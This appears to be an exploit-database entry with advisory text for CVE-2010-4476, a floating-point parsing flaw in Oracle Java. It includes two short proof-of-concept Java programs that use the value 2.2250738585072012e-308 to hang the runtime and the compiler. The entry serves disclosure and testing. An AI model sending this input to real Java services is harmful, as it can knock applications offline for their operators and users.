Oracle Java - Floating-Point Value Denial of Service

Author: Konstantin Preisser
type: dos
platform: multiple
port: 
date_added: 2011-02-01 
date_updated: 2014-11-20 
verified: 1 
codes: CVE-2010-4476;OSVDB-70965 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/46091/info

Oracle Java is prone to a remote denial-of-service vulnerability.

Successful attacks will cause applications written in Java to hang, creating a denial-of-service condition.

This issue affects both the Java compiler and Runtime Environment.

Send a Java Program Into An Infinite Loop

Compile this program and run it; the program will hang (at least it does on a 32-bit system with the latest JRE/JDK):

class runhang {
public static void main(String[] args) {
  System.out.println("Test:");
  double d = Double.parseDouble("2.2250738585072012e-308");
  System.out.println("Value: " + d);
 }
}

Send the Java Compiler Into An Infinite Loop

Try to compile this program; the compiler will hang:

class compilehang {
public static void main(String[] args) {
  double d = 2.2250738585072012e-308;
  System.out.println("Value: " + d);
 }
}